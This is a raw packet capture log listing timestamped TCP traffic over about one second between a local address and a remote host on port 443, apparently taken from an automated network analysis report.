Dec 30, 2024 19:45:15.685328960 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.685367107 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.685564995 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.685580015 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.685633898 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.685642004 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.685688019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.685831070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.685847044 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.685888052 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.685895920 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.685919046 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.685935020 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.686065912 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.686083078 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.686130047 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.686139107 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.686183929 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.712557077 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.712574005 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.712639093 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.712647915 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.712692976 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.712944031 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.712964058 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.713004112 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.713010073 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.713052034 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.713169098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.713185072 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.713218927 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.713226080 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.713239908 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.713259935 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.773211956 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.773238897 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.773310900 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.773322105 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.773365974 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.774107933 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774125099 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774173975 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.774179935 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774213076 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.774228096 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.774245977 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774260998 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774331093 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.774337053 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774378061 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.774389029 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774405003 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774472952 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.774478912 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774522066 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.774590015 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774605989 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774661064 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.774667978 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.774712086 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.799518108 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.799532890 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.799612999 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.799619913 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.799674988 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.799804926 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.799818993 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.799855947 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.799863100 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.799894094 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.799901009 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.800182104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.800196886 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.800232887 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.800240040 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.800251007 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.800268888 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.860152006 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.860169888 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.860239983 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.860248089 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.860291004 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.860910892 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.860928059 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.860984087 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.860991001 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.861033916 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.861099958 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.861114979 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.861148119 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.861154079 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.861180067 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.861186981 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.861396074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.861414909 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.861459017 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.861465931 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.861505985 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.862029076 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.862050056 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.862082958 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.862090111 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.862118006 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.862123966 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.862638950 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.887137890 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.887161016 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.887242079 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.887250900 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.887294054 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.887383938 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.887401104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.887434006 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.887440920 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.887471914 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.887480021 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.888377905 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.888392925 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.888438940 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.888446093 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.888490915 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.946989059 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.947005033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.947087049 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.947096109 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.947148085 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.947679043 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.947694063 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.947731972 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.947737932 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.947763920 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.947773933 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.947937012 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.947952986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.947997093 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.948004007 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.948054075 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.948209047 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.948224068 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.948259115 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.948265076 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.948287964 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.948297024 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.948884964 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.948899031 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.948930979 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.948940992 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.948965073 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.948971987 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.949805975 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.974165916 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.974184990 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.974252939 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.974267006 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.974307060 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.974446058 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.974461079 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.974504948 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.974513054 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.974554062 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.975301027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.975322008 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.975346088 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.975354910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.975383997 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.975392103 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.033978939 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.033998013 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.034086943 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.034105062 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.034173012 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.034660101 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.034674883 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.034737110 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.034744024 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.034785986 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.034898996 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.034914017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.034962893 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.034979105 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.035017967 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.035137892 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.035151005 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.035239935 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.035247087 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.035295963 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.035706997 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.035731077 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.035784006 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.035790920 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.035831928 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.037836075 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.061085939 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.061101913 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.061181068 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.061197042 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.061244011 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.061419010 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.061434984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.061480999 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.061489105 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.061533928 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.062110901 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.062124968 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.062179089 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.062186003 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.062230110 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.120876074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.120922089 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.120968103 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.121002913 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.121020079 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.121046066 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.121752024 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.121767044 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.121839046 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.121848106 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.121865988 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.121885061 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.121891022 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.121898890 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.121934891 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.121967077 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.122163057 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.122179031 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.122227907 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.122235060 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.122255087 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.122281075 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.122646093 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.122663021 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.122718096 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.122725964 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.122772932 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.160680056 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.160701990 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.160769939 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.160782099 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.160831928 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.160929918 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.160943985 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.160994053 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.161000967 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.161043882 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.162738085 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.162755013 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.162792921 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.162801027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.162831068 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.162838936 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.207891941 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.207922935 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.207973957 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.207983017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.208023071 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.208023071 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.208638906 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.208656073 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.208705902 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.208714008 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.208739042 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.208750010 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.208884001 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.208899975 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.208937883 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.208946943 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.208961010 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.208988905 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.209122896 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.209145069 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.209186077 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.209192991 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.209203959 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.209220886 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.209506989 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.209530115 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.209567070 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.209574938 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.209589958 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.209608078 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.262645006 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.262676001 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.262733936 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.262743950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.262794018 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.263720036 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.263755083 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.263792038 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.263801098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.263829947 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.263839960 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.264926910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.264945984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.265007973 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.265017033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.265069962 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.295450926 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.295485020 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.295535088 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.295543909 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.295581102 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.295598984 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.296506882 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.296520948 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.296572924 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.296581030 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.296626091 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.296642065 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.296659946 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.296698093 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.296705961 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.296717882 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.296752930 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.297902107 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.297920942 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.297971964 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.297980070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.298022032 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.298151970 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.298168898 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.298203945 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.298211098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.298263073 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.298321009 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.349723101 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.349742889 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.349831104 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.349853039 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.349905014 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.350558996 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.350578070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.350641966 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.350651026 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.350698948 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.352037907 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.352054119 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.352113008 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.352121115 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.352168083 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.382536888 CET	443	50050	51.79.230.147	192.168.2.4
